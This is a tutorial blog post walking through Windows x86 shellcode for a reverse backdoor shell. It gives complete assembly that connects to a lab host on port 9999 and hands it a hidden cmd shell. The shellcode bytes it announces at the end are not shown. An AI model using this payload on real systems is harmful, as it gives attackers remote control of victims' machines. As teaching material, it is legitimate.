Windows x86 Shellcode : Reverse Backdoor Shell
January 7, 2019
In the last two blog posts on Windows x86 shellcode, I wrote about loading and using external libraries in shellcode. I then gave an example of loading user32.dll and using MessageBoxA to print a "Hello World!" message.
Now, we're going to try and do something a little more interesting with our shellcode and external libraries; we're going to spawn a reverse backdoor shell.
Little disclaimer here that you shouldn't use or modify my code for anything illegal.
To do this, we need a few functions in WS2_32.DLL: WSAStartup, WSASocketA, and connect should do the trick. We also need CreateProcessA in kernel32.dll. The general strategy will be as follows:
Create a standard TCP socket Connect socket to IP address 192.168.204.1 and port 9999 CreateProcess "cmd" with the socket as stdin, stdout, and stderr exit
Given that we've already figured out how to load and use DLL's, writing this in x86 boils down to understanding how the parameters are passed to the API calls. I started by writing the equivalent backdoor in C, compiling, and disassembling it to better understand how to use the API's in assembly.
We must call WSAStartup before using any of the other networking functions we want to use in this shellcode. WSAStartup takes VersionRequired and WSAData as parameters. In my disassembled backdoor, the program pushes 202 for VersionRequired; I believe this corresponds to v2.2. WSAData is a pointer to a buffer that recieves information about the socket implementation; however, we don't need it for our purposes, so I'll pass a pointer to a location on the stack that we aren't using. This is the assembly I use to call WSAStartup:
WSAStartup_call: lea ecx, [esp+0C] #unused location on stack push ecx push 202 #socket version call WSAStartup
We call WSASocketA to create a new TCP socket so that our backdoor can communicate over the network. There aren't any structures to understand here, we just need to make sure that we know the magic numbers that correspond to AF_INET, SOCK_STREAM, and IPPROTO_TCP. We are creating a socket without ProtocolInfo, Group, or Flags, so these fields are NULL. This is the assembly for creating a standard TCP socket with WSASocketA:
WSASocketA_call: xor ebx, ebx push ebx push ebx push ebx push 6 #IPPROTO_TCP push 1 #SOCK_STREAM push 2 #AF_INET call WSASocketA #handle to socket in eax
We call connect to connect to a listening socket on the network. Connect takes three parameters: a handle to a socket, a pointer to a sockaddr struct, and the length of the sockaddr struct. The sockaddr struct is 0x10 bytes: the first two bytes hold the socket family (AF_INET), the next two bytes hold the port number, the next four bytes hold the IP address, and the last 8 bytes don't do anything. It's important to remember big endian and little endian here - Intel processors are little endian and network byte order is big endian. 2 is the constant for AF_INET, and it is stored in the first 4 bytes in little endian, so it's 0200. We want to connect to port 9999, which is 0x270F, and it is stored in the next 4 bytes in big endian, so it's 270F. Finally, we want to store the IP address 192.168.204.1 in the next 4 bytes in big endian which is C0A8CC01. Here is the assembly:
connect_call: call .target db 0200270FC0A8CC01 .target: pop ebp push 10 push ebp push socket call connect
Because Windows doesn't read or write to the last 8 bytes of buffer, we don't need to include it in our shellcode.
Why this IP?:
I'm running this shellcode in a Windows virtual machine running on VMWare with host-only networking. The VM is not connected to the internet, but can connect to the host machine using this IP. For the command and control server, I will run netcat on the host machine, listening on port 9999.
We use CreateProcessA to start a Windows command line. When creating the process, we want to make sure that the process's stdin, stdout, and stderr are all routed to the socket. Furthermore, we want to make sure that nothing is displayed on the desktop when the shell is launched.
There are a lot of parameters one can pass to CreateProcessA and we will leave most of them null. The important ones to us are as follows: CommandLine is a string that gets run on the command line; we pass "cmd" to CommandLine. InheritHandles is set to 1 so that the command line inherets the socket. StartupInfo takes a pointer to a STARTUPINFOA struct. The first 4 bytes of STARTUPINFOA are the size of the struct (0x44 bytes). We set Flags to STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES (101). And we set stdin, stdout, and stderr to the socket. Finally, ProcessInformation points to a PROCESS_INFORMATION struct, which is 32 bytes. For our purposes, this structure should be zeroed out, and to save instructions, I push a pointer to a region of zeros within the STARTUPINFOA struct. Here is the assembly:
CreateProcessA_call: call .target db'cmd'0 .target: pop ebp xor eax push ebx #assume ebx has handle to socket push ebx #stdin, stdout, stderr for Process push ebx push eax push eax push 101 #STARTUPINFO flags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES mov ecx, 10 .loop: #push 40 bytes of 0's jecxz .done dec ecx push eax jmp .loop .done: push 44 #sizeof STARTUPINFO mov ebx, esp #pointer to STARTUPINFO struct lea edx, [esp+4] #pointer to PROCESSINFORMATION (zeros) push edx push ebx push eax push eax push eax push 1 #inheret handles from parent push eax push eax push ebp #string 'cmd' push eax call CreateProcessA
We now have everything we need to write our shellcode! Here is the full assembly:
reverse_shell(); call find_functions db'WS2_32'0 db 0200270FC0A8CC01 db 'cmd'0 find_functions: pop ebp call find_kernel32_base mov ebx, eax push 16B3FE72 #ror-13-additive hash for CreateProcessA push ebx call find_function_by_hash push eax #push address of CreateProcessA to stack push EC0E4E8E #hash for LoadLibraryA push ebx call find_function_by_hash push ebp #"WS2_32" call eax mov ebx, eax push 60AAF9EC #hash for connect push ebx call find_function_by_hash push eax push ADF509D9 #hash for WSASocketA push ebx call find_function_by_hash push eax push 3BFCEDCB #hash for WSAStartup push ebx call find_function_by_hash WSAStartup_call: lea ecx, [esp+0C] #unused location on stack push ecx push 202 #socket version call eax WSASocketA_call: xor edi, edi mov ecx, [esp] push edi push edi push edi push 6 #IPPROTO_TCP push 1 #SOCK_STREAM push 2 #AF_INET call ecx mov ebx, eax #socket in ebx connect_call: mov eax, [esp+4] push 10 lea edx, [ebp+7] #pointer to sockaddr struct push edx push ebx call eax CreateProcessA_call: mov eax, [esp+8] push ebx push ebx #stdin, stdout, stderr for Process push ebx push edi push edi push 101 #STARTUPINFO flags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES mov ecx, 0xA .loop: #push 40 bytes of 0's jecxz .break dec ecx push edi jmp .loop .break: push 44 #sizeof STARTUPINFO mov ecx, esp #pointer to STARTUPINFO struct lea edx, [esp+4] #pointer to PROCESSINFORMATION (zeros) push edx push ecx push edi push edi push edi push 1 #inheret handles from parent push edi push edi lea edx, [ebp+0F] push edx #string 'cmd' push edi call eax int3
There you have it! This assembles to the following shellcode payload:
We can verify that the payload works correctly by running it in the launcher that we wrote in the last post. Remember to compile as a 32-bit program!